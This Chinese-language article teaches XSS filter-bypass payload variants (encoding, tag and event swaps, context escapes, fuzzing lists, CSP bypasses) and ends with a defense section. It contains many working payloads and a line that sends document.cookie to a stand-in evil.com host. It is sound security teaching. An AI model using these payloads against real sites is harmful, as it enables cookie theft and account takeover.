ARTICLE DETAIL

资讯详情

深耕网站SEO优化与搜索引擎排名提升的一线实战洞察。

XSS实战:绕过过滤的payload变形技巧与防御策略

XSS实战:绕过过滤的payload变形技巧与防御策略 1. 项目概述从“能弹窗”到“能实战”的跨越很多刚接触Web安全的朋友对XSS跨站脚本攻击的理解可能还停留在“在输入框里敲个scriptalert(1)/script然后看能不能弹窗”的阶段。一旦弹窗成功就觉得“我挖到了一个XSS漏洞”。这当然没错但这仅仅是开始是漏洞存在的证明。在真实的渗透测试或攻防演练中你遇到的网站几乎没有不设防的。它们会部署各种各样的过滤、编码、拦截规则目的就是让你的script标签、alert函数、甚至一个简单的单引号都失效。这时候一个只会用基础payload的安全测试人员就会立刻卡壳。这个内容要聊的就是如何让你的XSS攻击从“实验室环境”走进“实战环境”。核心不是去背诵成百上千条现成的payload而是掌握一套系统性的“变形”思维和技巧。当你看到一个输入点发现常规payload被拦截时你应该像解一道谜题一样去分析它过滤了什么没过滤什么然后利用那些“漏网之鱼”去重新组装你的攻击代码。这个过程我们称之为“绕过过滤的payload变形”。它考验的不是你的记忆力而是你对HTML、JavaScript以及浏览器解析逻辑的深刻理解。无论你是想提升自己的渗透测试能力还是作为开发人员想更透彻地理解如何防御这些技巧都是绕不开的实战核心。2. 绕过过滤的核心思路拆解理解“规则”与“漏洞”在开始具体的变形技巧之前我们必须先建立正确的思维模型。网站的安全防护不是一堵密不透风的墙而更像一个有多层筛网的过滤器。你的目标不是撞碎这堵墙而是找到筛网上那个形状刚好能让你通过的孔洞。2.1 防护机制的常见层次通常一个Web应用对用户输入的防护会发生在以下几个层面前端过滤通过JavaScript在数据提交前进行检查和过滤。这是最弱的一环因为攻击者可以轻松禁用JS或直接抓包修改请求来绕过。WAFWeb应用防火墙在流量到达应用服务器之前进行拦截。WAF基于规则库工作会检查请求中的特征字符串如script、javascript:、onerror等。服务端输入过滤/净化在服务器端代码如PHP的htmlspecialchars、Java的ESAPI、Python的html.escape中对输入进行处理将危险字符转换为HTML实体如变成lt;变成gt;。输出编码在将数据输出到不同上下文HTML、JavaScript、URL、CSS时使用对应的编码函数。这是最推荐的做法遵循“数据与代码分离”原则。CSP内容安全策略通过HTTP响应头告诉浏览器哪些外部资源可以被加载和执行从根本上限制JS的执行来源。我们的绕过技巧主要针对的是服务端过滤不严和输出编码上下文错配的情况。WAF绕过则更复杂涉及混淆、分割、协议滥用等。2.2 绕过的基本逻辑利用解析差异浏览器解析HTML、CSS、JavaScript的过程是高度复杂的并且存在一些为了兼容历史遗留问题而设计的“怪异模式”。安全过滤规则往往是基于简单的字符串匹配或正则表达式它们对输入的理解与浏览器解析器的理解可能存在差异。我们的变形就是主动制造并利用这种差异。过滤器的视角它看到的是一个字符串它用规则去匹配这个字符串中的“危险模式”。浏览器的视角它看到的是一个待解析的文档流它会按照HTML、JS等规范去解释这些字符。举个例子过滤器可能认为只有script标签是危险的。但浏览器还能通过img src1 onerroralert(1)来执行JS。这就是利用了解析差异过滤器没考虑到事件处理器onerror也是一个JS执行入口。3. 基础变形技巧从字符层面开始“化妆”当你的标准payload被拦截时首先应该尝试的是一些最简单的字符变换。这些方法成本最低往往能绕过一些粗浅的过滤。3.1 大小写绕过这是最古老也最经典的方法。如果过滤规则是简单的字符串匹配且大小写敏感那么改变标签或属性的大小写就能绕过。原始payloadscriptalert(1)/script变形payloadScRiPtalert(1)/sCrIpT SCRIPT SRChttp://evil.com/x.js/SCRIPT注意现代浏览器对HTML标签和属性名是不区分大小写的除了XML上下文所以ScRiPt和SCRIPT都会被正确解析为脚本标签。但一些属性值如JavaScript代码是大小写敏感的ALERT(1)是无法执行的。3.2 双写与嵌套绕过如果过滤规则是“删除”或“替换”掉一次出现的敏感词那么可以通过双写来绕过。假设过滤规则是preg_replace(/script/i, , $input)它会删除所有“script”字符串不区分大小写。原始payloadscriptalert(1)/script过滤后alert(1)/ !-- script被删除了标签结构被破坏 --变形payloadscrscriptiptalert(1)/scrscriptipt过滤过程输入scrscriptiptalert(1)/scrscriptipt删除所有script删除第一个script红色部分后字符串变为scriptiptalert(1)/scriptipt。继续扫描删除新出现的script绿色部分最终得到scriptalert(1)/script。这样经过过滤后我们精心构造的字符串恰好又组合成了一个完整的script标签。3.3 插入干扰字符Tab、换行、空格过滤规则的正则表达式可能设计得不够周全没有考虑标签名、属性名和等号、引号之间可能存在空白字符。原始payloadimg srcx onerroralert(1)变形payloadimg/srcx/onerroralert(1) svg/onloadalert(1)这里我们用/代替了空格。在某些解析场景下这同样能被浏览器识别为属性分隔符。更隐蔽的可以使用Tab(\t)、换行(\n)或回车(\r)。img srcx onerroralert(1)如果过滤规则是/ onerror\s*/i可能就匹配不到这个换行后的onerror了。3.4 编码与解码游戏这是绕过中高级过滤的核心手段。其原理是浏览器在解析HTML实体的某些阶段会对其进行解码。而过滤可能发生在解码之前或之后如果我们能在过滤后让编码内容被正确解码就能绕过。HTML实体编码-lt;-gt;-amp;。绕过场景如果过滤函数只处理了原始字符和但没有递归处理或处理lt;和gt;那么当这些实体被浏览器解码后就会形成有效的标签。Payload示例lt;img src1 onerroralert(1)gt;- 浏览器解码后 -img src1 onerroralert(1)URL编码-%3C-%3E 空格 -%20。绕过场景常用于javascript:伪协议或URL属性中。如果服务器对URL参数解码后没有进行二次过滤就可能引发问题。Payload示例a hrefjavascript%3Aalert(1)click/a- 浏览器解码URL后 -javascript:alert(1)Unicode编码/JS编码在JavaScript上下文中可以使用\u0061表示字符a。Payload示例script\u0061lert(1)/script更高级的混淆利用String.fromCharCode动态生成字符串scripteval(String.fromCharCode(97,108,101,114,116,40,49,41))/script实操心得编码绕过的关键在于判断过滤发生的“时机”和“上下文”。一个非常有效的测试方法是分步提交编码后的payload。例如先提交lt;看输出是不是变成了。如果是说明存在HTML实体解码且解码后的没有被再次过滤。这就为你后续构造完整payload打开了大门。4. 高级变形技巧利用标签与属性多样性当简单的字符变形无效时我们需要升级武器库利用更多HTML标签和事件处理器的组合。4.1 标签替换不止有script很多过滤规则对script标签严防死守但对其他可以执行JavaScript的标签却疏于防范。img标签利用onerror、onload事件。这是最常用的替代标签之一。img srcinvalid_image onerroralert(1) img src1 onerroreval(atob(YWxlcnQoMSk)) !-- 使用Base64编码 --svg标签SVG本质是XML但其内嵌的script或事件处理器在HTML上下文中同样有效。svg本身也支持onload事件。svg onloadalert(1) svgscriptalert(1)/script/svgbody、input、textarea、button等标签支持onload、onfocus、onblur、onclick、onmouseover等大量事件。body onloadalert(1) input typetext onfocusalert(1) autofocus !-- autofocus让元素自动获取焦点触发事件 -- textarea onmouseoveralert(1)鼠标移过来/textarealink、iframe、embed、object标签可以用于加载外部资源结合onload/onerror事件。link relstylesheet hrefhttp://evil.com/x.css onloadalert(1) iframe srcjavascript:alert(1)/iframe !-- 注意现代浏览器对iframe的javascript:协议限制很严 --4.2 属性替换与无引号写法事件处理器属性名本身也可能被过滤如onerror、onload。这时可以尝试大小写OnErRor插入空白on\terrorTab键使用其他事件如果onerror被禁试试onload、onmouseenter、onfocus、onblur等。属性值可以不使用引号或者混用单双引号以绕过对特定引号的过滤。img srcx onerroralert(1) img srcx onerroralert(1) img srcx onerroralert(1) !-- 使用反引号模板字符串 --4.3 利用HTML5新标签与属性HTML5引入了一些新标签和属性可能不在老旧过滤规则的黑名单里。audio、video类似img有onerror、onload等事件。video srcx onerroralert(1)details标签的ontoggle事件details open ontogglealert(1)autofocus属性结合onfocus事件可以让元素自动获取焦点从而触发事件无需用户交互。input autofocus onfocusalert(1)5. 上下文感知与协议滥用在正确的地方做“坏事”XSS payload必须在其被输出的“上下文”中才能生效。不同的上下文构造方法截然不同。5.1 HTML标签内属性上下文这是最常见的情况。数据被直接插入到HTML标签之间或属性值中。防御应使用HTML实体编码如-lt;。绕过尝试如果属性值未用引号括起可以提前闭合属性并引入新事件。用户输入x onerroralert(1) 最终HTMLimg src用户输入 结果img srcx onerroralert(1)如果只过滤了双引号可以使用单引号。尝试使用javascript:伪协议在某些属性中有效如href、action、formaction但现代浏览器限制越来越多。5.2 JavaScript代码内脚本上下文数据被插入到script标签块内或HTML事件处理器如onclick的JavaScript代码字符串中。防御应使用JavaScript编码如\u003C并确保数据被放在引号内。绕过尝试提前闭合字符串和语句这是最危险的一种。如果用户输入被直接拼接进JS字符串且没有正确处理引号。var userInput [用户输入];输入;alert(1);//结果var userInput ;alert(1);//;成功逃逸字符串执行了alert(1)。利用JS编码和eval/setTimeout/Function构造函数如果输出点允许执行动态代码。// 假设输入被直接放入eval eval(var a[用户输入]);输入;alert(1);//结果eval(var a;alert(1);//)同样成功执行。5.3 URL上下文href/src/action属性数据被插入到URL中。防御应进行URL编码并严格验证协议只允许http://、https://。绕过尝试使用javascript:伪协议这是最经典的。a hrefjavascript:alert(1)click/a。现在很多浏览器会在用户点击时阻止但直接加载如iframe src或某些特定场景下可能仍有效。使用data:协议可以直接在URL中嵌入HTML或JS代码。iframe srcdata:text/html,scriptalert(1)/script/iframe object datadata:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg/object利用URL解析特性如使用///绕过域名检查或利用符号等。5.4 CSS上下文style属性或标签数据被插入到CSS中。防御应进行CSS编码。绕过尝试相对较少见但可以通过expression()旧版IE、url(javascript:...)某些浏览器或import等方式尝试。在现代浏览器中利用难度很高。6. 实战场景下的组合拳与模糊测试在实际测试中你很少能一次就猜到正确的绕过方式。你需要进行系统的模糊测试Fuzzing。6.1 构建你的测试Payload库不要手动一个个试效率太低。可以准备一个文本文件里面包含各种变形组合的payload然后使用Burp Suite的Intruder或自定义脚本进行批量测试。一个基础的测试向量可能包括scrscriptiptalert(1)/scr/scriptipt ScRiPtalert(1)/ScRiPt img srcx onerroralert(1) img srcx onerroralert1 svg onloadalert(1) body onloadalert(1) iframe srcjavascript:alert(1) a hrefjavascript:alert(1)click/a details open ontogglealert(1) input autofocus onfocusalert(1) ‘;alert(1);// “;alert(1);// ;alert(1);// /scriptscriptalert(1)/script apos;-alert(1)-apos;6.2 分析响应寻找解析差异提交测试payload后关键不是看是否弹窗而是仔细对比你提交的输入和服务器返回的HTML输出。查看页面源代码看看你的payload被如何修改了是被完全删除了是被编码了还是被部分截断了使用浏览器开发者工具在“元素”面板中查看这里显示的是浏览器解析后的DOM树。有时候源代码里被编码的内容在DOM里已经被解码并正常渲染了这就是一个成功的信号。寻找“漏网之鱼”如果script被过滤了但img还在那就转向基于事件的payload。如果尖括号被编码了但引号还在可以尝试在JS字符串上下文中闭合。6.3 利用模糊测试工具工具可以帮你自动化这个过程。XSS Strike、XSStrike这类工具专门用于检测和利用反射型XSS它们内置了强大的payload生成器和模糊测试引擎能自动识别过滤规则并生成绕过payload。Burp Suite 插件J2EEScan、XSS Validator可以与Burp Intruder结合在爬行或主动扫描时自动进行XSS测试。自定义脚本用Python编写简单脚本读取payload字典发送请求并检查响应中是否存在预期的变化如payload未被修改、特定字符串出现等。7. 进阶挑战绕过CSP与现代化防御随着CSP的普及和浏览器安全机制的加强传统的XSS利用变得越来越困难。但这不意味着XSS已死只是门槛更高了。7.1 理解CSP及其绕过CSP通过HTTP头如Content-Security-Policy: script-src self告诉浏览器只允许执行来自同源‘self’的脚本。这会直接阻止内联脚本如scriptalert(1)/script和javascript:协议。绕过思路寻找允许的脚本源如果CSP策略中包含了unsafe-inline不推荐或允许了某个特定域如script-src self https://cdn.example.com那么攻击者可以尝试将恶意脚本托管在该允许的域名下然后通过XSS注入一个script srchttps://cdn.example.com/evil.js标签来加载。利用JSONP端点如果站点存在JSONP接口且该接口所在的域名在CSP允许列表内攻击者可以注入一个调用该JSONP接口的script标签并将回调函数设置为恶意代码。因为JSONP的本质就是动态执行远程JS。窃取数据而非执行代码即使无法执行脚本如果存在存储型XSS攻击者可以注入一个会自动向外部服务器发送当前页面Cookie或敏感信息的标签如img srchttp://evil.com/steal?cookiedocument.cookie。这不需要执行JS只需要浏览器自动加载图片。但前提是CSP的img-src指令允许向任意域发送请求默认为*但好的策略会限制。利用CSP配置错误例如错误的script-src配置可能允许self而攻击者通过上传功能将恶意JS文件上传到站点的静态资源目录然后引用它。7.2 对抗严格的输入过滤与编码现代框架如React, Vue, Angular和库如DOMPurify提供了非常强大的默认XSS防护。它们通常采用“白名单”方式只允许安全的标签和属性。绕过思路极难通常需要结合框架特性或0day研究框架的SSR服务器端渲染或动态模板特性在某些边缘情况下框架的服务器端渲染可能和客户端渲染存在解析差异。寻找富文本编辑器漏洞很多网站会引入第三方富文本编辑器如CKEditor, TinyMCE来处理用户输入的HTML。这些编辑器本身或其配置可能存在安全漏洞导致允许了危险的标签或属性。DOM型XSS这种XSS的根源在于前端JavaScript不安全的操作了DOM例如用innerHTML、document.write()、eval()处理了用户可控的数据。防御这种XSSCSP和服务器端过滤都无效必须在编写前端代码时遵循安全规范如使用textContent而非innerHTML。8. 防御视角如何构建更坚固的防线了解了攻击手法从防御者角度看我们应该怎么做原则输入验证 输出编码输入验证在已知的、明确的业务场景下对输入格式进行严格校验如邮箱格式、电话号码格式。但不要依赖输入验证来防御XSS因为输入的数据在输出时可能处于不同的上下文。输出编码这是最根本、最有效的防御手段。在数据输出到页面时根据其所在的上下文HTML、JS、URL、CSS使用对应的编码函数。例如在HTML正文中输出就用HTML实体编码在HTML属性中输出也要用HTML实体编码注意属性值要用引号括起来在JS字符串中输出要用JS字符串编码。使用安全的API和框架避免直接使用innerHTML、document.write()、eval()、setTimeout(string)等危险的JavaScript API。使用现代前端框架React, Vue, Angular它们通常有内置的XSS防护机制默认对动态绑定内容进行转义。在后端使用成熟的库来处理HTML净化如PHP的htmlpurifier、Python的bleach、Java的OWASP Java Encoder。实施严格的CSP部署CSP并采用最严格的策略。从default-src none开始然后逐步添加必要的源如script-src selfimg-src self data:。禁止使用unsafe-inline和unsafe-eval。可以使用report-uri或report-to指令收集违规报告帮助发现潜在漏洞和调整策略。其他HTTP安全头X-XSS-Protection: 0虽然旧版浏览器有XSS过滤器但容易引发其他问题建议禁用转而依靠CSP。X-Content-Type-Options: nosniff阻止浏览器MIME类型嗅探防止将非JS文件当作JS执行。X-Frame-Options: DENY或Content-Security-Policy: frame-ancestors none防止点击劫持。定期安全审计与测试对应用进行定期的渗透测试和代码审计。在开发流程中引入SAST静态应用安全测试和DAST动态应用安全测试工具。对开发人员进行持续的安全意识培训。XSS的攻防是一场持续的道高一尺魔高一丈的较量。作为攻击方需要不断深入理解浏览器解析、编码解码和框架特性作为防御方则需要建立纵深防御体系不依赖单一手段。掌握这些payload变形技巧不仅能让你在渗透测试中更得心应手更能让你从攻击者的角度思考从而设计出更安全的应用程序。真正的安全源于对漏洞原理的深刻敬畏和对防御措施的严格执行。
返回列表